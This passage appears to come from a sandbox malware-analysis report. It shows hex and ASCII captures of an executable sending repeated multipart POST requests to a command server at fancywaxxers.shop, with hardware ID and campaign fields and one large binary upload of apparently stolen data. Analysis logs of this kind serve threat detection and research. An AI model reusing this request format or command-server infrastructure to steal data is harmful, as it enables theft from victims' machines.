2f 69 77 58 6c 46 30 65 71 6e 48 4a 2b 68 49 2b 38 69 76 51 34 32 6e 4d 6f Data Ascii: xCi5A3sBG5Bukhtly8LQWADV4o8Mi60Pzw6xIjOJ9ynUWaxef4FDtDruZ9nLw/AFHLTyhwmS/CfvWpkuWqzSEfQ05TtLKUvETqZPbefC6Hww+cKHLL+hFsoriQZzia8pcBThY3M9L4Afti5lmv7sSSWw8pcUv40n+xKZLhLA8jXUHIF3Vxkf9FKab0W3zsgwMJm7mgGTgUbKc4nCDsiOJMD89TMnKTfpcstrOP/iwXlF0eqnHJ+hI+8ivQ42nMo
2024-12-31 08:50:48 UTC	1369	IN	Data Raw: 66 64 7a 61 41 4f 6c 53 74 4e 54 51 63 37 2f 6b 58 67 6f 7a 66 36 66 45 4c 65 74 47 39 63 43 77 54 49 4f 77 4d 6f 74 35 41 79 64 50 30 73 78 4b 39 78 57 67 6d 4e 70 34 2b 4c 4d 62 53 58 6f 38 6f 64 5a 6b 76 77 6e 54 79 61 6c 4b 33 2f 68 7a 6c 54 77 58 61 30 6a 54 67 52 69 32 48 4b 65 52 33 58 4c 38 73 78 30 62 4e 58 71 30 7a 69 6e 74 57 2f 6a 50 70 30 75 4a 72 7a 43 4d 64 41 55 6e 58 64 62 42 51 2f 31 63 34 39 54 51 5a 37 2f 6b 58 69 6f 6a 61 71 7a 4a 4b 50 46 43 38 38 65 30 53 35 54 69 66 63 70 6a 43 54 6f 50 68 39 64 51 34 52 75 79 32 73 34 2f 2b 4c 42 65 55 58 52 36 72 38 67 6a 34 55 66 67 77 61 52 4a 69 36 73 36 6a 6e 6f 4e 4b 30 76 62 78 6b 58 31 45 4b 61 54 31 48 44 37 74 52 41 41 4f 7a 7a 6f 6a 69 50 2f 43 61 71 45 67 31 32 48 72 6a 37 4b 62 55 41 Data Ascii: fdzaAOlStNTQc7/kXgozf6fELetG9cCwTIOwMot5AydP0sxK9xWgmNp4+LMbSXo8odZkvwnTyalK3/hzlTwXa0jTgRi2HKeR3XL8sx0bNXq0zintW/jPp0uJrzCMdAUnXdbBQ/1c49TQZ7/kXiojaqzJKPFC88e0S5TifcpjCToPh9dQ4Ruy2s4/+LBeUXR6r8gj4UfgwaRJi6s6jnoNK0vbxkX1EKaT1HD7tRAAOzzojiP/CaqEg12Hrj7KbUA
2024-12-31 08:50:48 UTC	273	IN	Data Raw: 77 44 78 42 4f 33 4d 6c 31 2f 30 71 68 73 4f 49 6a 36 54 7a 53 72 70 54 75 53 45 76 58 6e 4b 34 6a 79 51 4d 6c 59 53 56 70 2f 47 54 4c 5a 45 37 59 48 51 66 2f 69 6d 43 41 34 34 62 61 33 44 4b 4d 56 47 39 64 4b 68 53 59 65 7a 4f 73 5a 35 41 32 73 42 6e 38 5a 59 74 6b 54 74 75 39 42 70 2f 4a 4d 64 47 44 30 38 36 49 34 6a 38 51 6d 71 68 4a 77 47 6c 71 45 6a 69 58 30 66 46 51 2b 48 32 48 36 32 46 37 75 54 78 33 7a 70 74 78 4d 46 4a 55 4c 6d 6c 6e 43 31 47 36 43 57 38 46 6e 45 76 51 7a 45 4d 67 39 72 46 2b 62 59 41 4f 42 63 39 63 61 5a 50 2b 33 38 52 6b 6c 7a 66 37 54 63 49 75 52 66 38 59 4f 63 65 4b 4f 30 4f 59 31 69 43 54 78 41 6e 34 38 41 2b 56 7a 31 72 5a 64 32 2b 4b 63 50 48 7a 6c 73 6f 59 34 62 71 51 6e 71 68 50 6f 47 73 61 45 39 68 48 55 59 4f 67 4c 34 Data Ascii: wDxBO3Ml1/0qhsOIj6TzSrpTuSEvXnK4jyQMlYSVp/GTLZE7YHQf/imCA44ba3DKMVG9dKhSYezOsZ5A2sBn8ZYtkTtu9Bp/JMdGD086I4j8QmqhJwGlqEjiX0fFQ+H2H62F7uTx3zptxMFJULmlnC1G6CW8FnEvQzEMg9rF+bYAOBc9caZP+38Rklzf7TcIuRf8YOceKO0OY1iCTxAn48A+Vz1rZd2+KcPHzlsoY4bqQnqhPoGsaE9hHUYOgL4
2024-12-31 08:50:48 UTC	1369	IN	Data Raw: 32 63 65 30 0d 0a 62 43 2f 6f 6a 69 44 32 43 61 71 55 38 42 33 52 38 57 54 61 49 42 46 6c 56 70 2f 58 41 4b 35 4f 34 39 54 46 50 36 66 38 57 51 6f 6d 62 71 44 4e 4d 75 51 4f 7a 50 71 46 58 49 6d 6b 4a 4a 74 4d 4d 43 78 56 30 73 64 58 35 31 43 34 6c 39 6c 78 2b 4b 70 65 52 33 52 7a 35 70 59 64 70 77 47 79 2b 2b 77 47 6e 4f 4a 72 79 6b 63 4e 4a 55 48 59 31 31 47 37 4f 37 65 5a 30 57 6a 75 2f 46 42 4a 4d 6a 7a 2b 6e 47 71 6e 54 65 4f 45 2b 68 62 57 2b 57 62 5a 4a 56 35 35 55 4a 48 59 41 4f 42 63 39 63 61 5a 50 2b 33 38 52 6b 6c 7a 66 37 54 63 49 75 52 66 38 59 4f 63 65 4b 71 6c 4e 59 39 31 48 6d 6c 68 31 4e 56 48 74 6c 4c 74 6d 35 63 6e 78 76 78 57 53 51 73 79 35 74 5a 6b 76 77 6e 48 78 36 78 49 67 37 51 69 78 31 77 4a 4c 55 72 59 30 51 4c 59 46 37 6d 54 6c Data Ascii: 2ce0bC/ojiD2CaqU8B3R8WTaIBFlVp/XAK5O49TFP6f8WQombqDNMuQOzPqFXImkJJtMMCxV0sdX51C4l9lx+KpeR3Rz5pYdpwGy++wGnOJrykcNJUHY11G7O7eZ0Wju/FBJMjz+nGqnTeOE+hbW+WbZJV55UJHYAOBc9caZP+38Rklzf7TcIuRf8YOceKqlNY91Hmlh1NVHtlLtm5cnxvxWSQsy5tZkvwnHx6xIg7Qix1wJLUrY0QLYF7mTl
2024-12-31 08:50:48 UTC	1369	IN	Data Raw: 4d 44 7a 64 71 70 59 6b 61 32 57 37 38 77 36 4e 51 6c 4c 55 38 74 45 77 62 4b 45 48 52 78 6c 62 6e 58 4f 50 55 32 44 2b 6e 68 56 35 42 64 45 50 6f 6a 6a 79 6e 45 62 4c 78 6f 55 69 4b 70 53 57 62 50 79 6b 6c 53 4e 37 58 55 4f 45 54 37 64 71 58 65 62 2f 6b 54 45 64 30 65 4c 65 4f 66 4c 63 62 71 5a 48 78 45 64 54 77 4c 4d 52 72 54 6a 30 50 68 35 4d 4f 74 67 37 74 7a 4a 63 34 2f 4b 34 4d 44 7a 64 71 70 59 6b 61 32 57 37 38 77 36 4e 51 6c 4c 55 38 78 56 77 34 43 6e 48 68 31 45 50 34 45 71 71 43 78 6a 2b 78 2f 42 46 4a 62 45 58 6d 68 6d 54 59 42 37 4c 63 34 68 37 45 6c 7a 43 45 66 41 6b 39 58 70 4c 6d 54 76 45 64 75 34 54 41 63 4c 43 53 4b 43 68 30 4d 75 62 49 5a 4c 38 62 76 49 53 6d 56 38 54 36 59 39 67 70 57 33 67 59 6a 35 4e 66 75 41 58 74 67 70 63 6e 72 66 Data Ascii: MDzdqpYka2W78w6NQlLU8tEwbKEHRxlbnXOPU2D+nhV5BdEPojjynEbLxoUiKpSWbPyklSN7XUOET7dqXeb/kTEd0eLeOfLcbqZHxEdTwLMRrTj0Ph5MOtg7tzJc4/K4MDzdqpYka2W78w6NQlLU8xVw4CnHh1EP4EqqCxj+x/BFJbEXmhmTYB7Lc4h7ElzCEfAk9XpLmTvEdu4TAcLCSKCh0MubIZL8bvISmV8T6Y9gpW3gYj5NfuAXtgpcnrf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49732	104.21.64.1	443	7292	C:\Users\user\Desktop\2RxMkSAgZ8.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:50:49 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3ZDH3JM48UNEK User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12820 Host: fancywaxxers.shop
2024-12-31 08:50:49 UTC	12820	OUT	Data Raw: 2d 2d 33 5a 44 48 33 4a 4d 34 38 55 4e 45 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 45 35 30 38 31 46 30 37 43 33 34 44 45 31 30 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 33 5a 44 48 33 4a 4d 34 38 55 4e 45 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 33 5a 44 48 33 4a 4d 34 38 55 4e 45 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 33 5a 44 48 33 Data Ascii: --3ZDH3JM48UNEKContent-Disposition: form-data; name="hwid"AE5081F07C34DE1020A4C476FD51BCB1--3ZDH3JM48UNEKContent-Disposition: form-data; name="pid"2--3ZDH3JM48UNEKContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--3ZDH3
2024-12-31 08:50:50 UTC	1132	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:50:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=acata7np3s818hhdefgct8igai; expires=Sat, 26 Apr 2025 02:37:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7UV4ifdBG98ng65oqPGmF%2Fdb9XOTLWf3OFfOzcKGl8VG4%2BTeHAne22F4THmDDKEjOCby1OWhlhgdEEP8ljTUy%2BOMFh1xnhhp47E3TzJsXPtIQWV0iZlpF8d2t2ov3aJC4UneFw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa906352e55c358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1665&min_rtt=1663&rtt_var=625&sent=8&recv=17&lost=0&retrans=0&sent_bytes=2842&recv_bytes=13756&delivery_rate=1755862&cwnd=155&unsent_bytes=0&cid=ee04b25e833cc1f5&ts=688&x=0"
2024-12-31 08:50:50 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-31 08:50:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49738	104.21.64.1	443	7292	C:\Users\user\Desktop\2RxMkSAgZ8.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:50:51 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=PM2YFJRGL4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15034 Host: fancywaxxers.shop
2024-12-31 08:50:51 UTC	15034	OUT	Data Raw: 2d 2d 50 4d 32 59 46 4a 52 47 4c 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 45 35 30 38 31 46 30 37 43 33 34 44 45 31 30 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 50 4d 32 59 46 4a 52 47 4c 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 50 4d 32 59 46 4a 52 47 4c 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 50 4d 32 59 46 4a 52 47 4c 34 0d 0a 43 6f Data Ascii: --PM2YFJRGL4Content-Disposition: form-data; name="hwid"AE5081F07C34DE1020A4C476FD51BCB1--PM2YFJRGL4Content-Disposition: form-data; name="pid"2--PM2YFJRGL4Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--PM2YFJRGL4Co
2024-12-31 08:50:51 UTC	1144	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:50:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=96phkom06vmk22s4q12tj34nb4; expires=Sat, 26 Apr 2025 02:37:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f6W0iKYaE2dUBzrYBfa0n%2BUj5X%2BT7wzkU20%2Bo0oJaDaKx8gQfM3dG4z%2FtLFfq2wy9vCS1PkgxGgl20lwED41a%2Frd3kNF5Zi%2Bqofdgti32ic1c7%2BdLKJdPu%2FUPGEMSnuXh7%2FtJA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa9063d5e2a8ca1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1930&min_rtt=1924&rtt_var=733&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2843&recv_bytes=15967&delivery_rate=1479979&cwnd=168&unsent_bytes=0&cid=6eec6f23957922d1&ts=683&x=0"
2024-12-31 08:50:51 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-31 08:50:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49749	104.21.64.1	443	7292	C:\Users\user\Desktop\2RxMkSAgZ8.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:50:52 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ZQD1Q7GKF0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20359 Host: fancywaxxers.shop
2024-12-31 08:50:52 UTC	15331	OUT	Data Raw: 2d 2d 5a 51 44 31 51 37 47 4b 46 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 45 35 30 38 31 46 30 37 43 33 34 44 45 31 30 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 5a 51 44 31 51 37 47 4b 46 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 5a 51 44 31 51 37 47 4b 46 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 5a 51 44 31 51 37 47 4b 46 30 0d 0a 43 6f Data Ascii: --ZQD1Q7GKF0Content-Disposition: form-data; name="hwid"AE5081F07C34DE1020A4C476FD51BCB1--ZQD1Q7GKF0Content-Disposition: form-data; name="pid"3--ZQD1Q7GKF0Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--ZQD1Q7GKF0Co
2024-12-31 08:50:52 UTC	5028	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d ae 2f f8 f5 58 32 78 29 1e bc 14 fc db e0 ab e6 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 6K~`iO\_,mi`m?ls}Qm/X2x)
2024-12-31 08:50:53 UTC	1131	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:50:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lu9vn9lap8rma2c6kgs849je47; expires=Sat, 26 Apr 2025 02:37:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=womhQH5J19UvxjfX7pfEt5Q8HEH71VUx5oZVMR7pTA1rt4qAEJctHcNDIF%2BMCzHEKbEop5qjf0LIMxrh8wtvDkBkEU8DIgAA0CXQXv5l3ioramwR%2F4Nwn4w8xjvBB8zDoxumnQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa906479f5f42e9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1747&min_rtt=1742&rtt_var=663&sent=11&recv=24&lost=0&retrans=0&sent_bytes=2843&recv_bytes=21314&delivery_rate=1636771&cwnd=240&unsent_bytes=0&cid=a241596d4c1941cf&ts=637&x=0"
2024-12-31 08:50:53 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-31 08:50:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49760	104.21.64.1	443	7292	C:\Users\user\Desktop\2RxMkSAgZ8.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:50:54 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=HEHLJ7PTYZK1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1203 Host: fancywaxxers.shop
2024-12-31 08:50:54 UTC	1203	OUT	Data Raw: 2d 2d 48 45 48 4c 4a 37 50 54 59 5a 4b 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 45 35 30 38 31 46 30 37 43 33 34 44 45 31 30 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 48 45 48 4c 4a 37 50 54 59 5a 4b 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 48 45 48 4c 4a 37 50 54 59 5a 4b 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 48 45 48 4c 4a 37 50 54 Data Ascii: --HEHLJ7PTYZK1Content-Disposition: form-data; name="hwid"AE5081F07C34DE1020A4C476FD51BCB1--HEHLJ7PTYZK1Content-Disposition: form-data; name="pid"1--HEHLJ7PTYZK1Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--HEHLJ7PT
2024-12-31 08:50:54 UTC	1136	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:50:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=afr7q0826p0uvdc0j137k3sa39; expires=Sat, 26 Apr 2025 02:37:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kmn5VuCihqIaBwqL%2FxGuoA2Q0WY1%2BmaOhIOFphiC%2FUQEYL7xswYhvMbA%2BjIvkszkj1Fkhgad95n7dP%2BvugIXGctZkETi26N98164YQr1cMM0U2iwu6SRfMt%2BTrcayXF1DwT2OQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa90650586ede95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1655&min_rtt=1650&rtt_var=630&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2843&recv_bytes=2115&delivery_rate=1721698&cwnd=240&unsent_bytes=0&cid=d81ebe0a2f28fa15&ts=445&x=0"
2024-12-31 08:50:54 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-31 08:50:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49771	104.21.64.1	443	7292	C:\Users\user\Desktop\2RxMkSAgZ8.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:50:55 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MCS5ADTYX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 551957 Host: fancywaxxers.shop
2024-12-31 08:50:55 UTC	15331	OUT	Data Raw: 2d 2d 4d 43 53 35 41 44 54 59 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 45 35 30 38 31 46 30 37 43 33 34 44 45 31 30 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 4d 43 53 35 41 44 54 59 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4d 43 53 35 41 44 54 59 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4d 43 53 35 41 44 54 59 58 0d 0a 43 6f 6e 74 65 6e Data Ascii: --MCS5ADTYXContent-Disposition: form-data; name="hwid"AE5081F07C34DE1020A4C476FD51BCB1--MCS5ADTYXContent-Disposition: form-data; name="pid"1--MCS5ADTYXContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--MCS5ADTYXConten
2024-12-31 08:50:55 UTC	15331	OUT	Data Raw: 12 4f 57 1c 8c 0a 4b c6 ee 28 2f 8b a6 4a 7c 0e 2a 36 37 e6 bc ad 3a 1e ab b9 a7 eb 12 dc 97 1b ab ae b6 8f ff ce e2 55 9a d6 c4 da b5 51 5c 0f 69 45 39 6e 7e c7 41 5a 6c 6c 15 7e 81 ad c6 06 ed 86 df 47 57 d4 85 c0 6d 21 f6 45 f2 20 11 5d f7 0c d0 1b 8c d1 60 5a 50 a3 89 b4 2e cf 8a 20 a0 7f 92 3d 42 c5 c8 95 0a f4 6e 0c 4f 0d 0f 56 3f 11 5f 30 e1 0e fa 36 60 2b 03 7e d8 71 bf 9d cc 1f fa 67 76 44 4e 0a 14 9c 8e 70 ed 53 63 87 0a 03 ce a1 85 c3 e6 80 cd f2 21 71 a4 c8 17 8b bc 0b 32 67 cb 31 a3 6f c4 87 8f f5 7c 15 82 7b bd ae e5 bd 7f fa d1 f1 c2 ad 95 67 e5 e7 bd cf 9a 08 86 4a 5e bf bf a0 a8 f8 22 e4 ea ec 0b 87 92 c7 a7 8f 08 83 7f 4e 3a 0f 5c 85 68 b9 df d5 d2 55 f5 1d c4 99 db db 7a 67 86 0b 9b e1 fa cd 5b 7f 78 03 e6 b3 eb a8 8d 90 03 b6 dd 52 e0 Data Ascii: OWK(/J\|*67:UQ\iE9n~AZll~GWm!E ]`ZP. =BnOV?_06`+~qgvDNpSc!q2g1o\|{gJ^"N:\hUzg[xR
2024-12-31 08:50:55 UTC	15331	OUT	Data Raw: 5b 3c 6c 69 43 03 31 42 04 d4 e0 27 65 cb 78 0b 0b f2 93 37 1a 92 9f 6e d3 58 b2 65 ac 06 87 b3 96 0d 83 94 59 42 59 e9 16 51 e2 76 99 9a fe d1 a8 51 42 57 55 d4 f4 1c a5 91 da 48 c1 93 5c 50 47 6a e3 74 8d a3 e3 8b 8f 27 ee 35 2d da b9 3d e6 36 88 7e 27 b0 2e 15 72 42 1d 6e f6 83 be e8 a7 a4 f4 c6 f8 3b 8c 1b 46 a6 63 fd 06 3f 84 12 f8 bc f4 4c 5f 89 ff 98 c4 f9 06 85 64 5b 8b 43 69 c4 d4 d3 e6 75 d1 bd 61 5a 2e e4 a1 f0 af 82 0f 9e ac 9f d6 ad aa c9 7e ab d8 fb 23 66 82 8e 90 a8 ad da 1f 46 26 79 37 b6 1e 8c 2a 34 06 6f 41 82 8e 69 a6 81 59 75 51 60 bd fc a8 4a 66 11 47 47 73 20 c5 77 30 ba f8 b6 7a d6 a8 2f 5f 54 c9 40 31 75 21 79 d1 a9 25 a2 5b 33 0f 1c 6c 0e c4 4e bc fd 1a e5 fd 8f b6 3b f4 d3 71 74 4d 8a 09 b5 3f f6 3b a2 46 1e 8c 4c 9c fe fc 31 d7 Data Ascii: [<liC1B'ex7nXeYBYQvQBWUH\PGjt'5-=6~'.rBn;Fc?L_d[CiuaZ.~#fF&y7*4oAiYuQ`JfGGs w0z/_T@1u!y%[3lN;qtM?;FL1
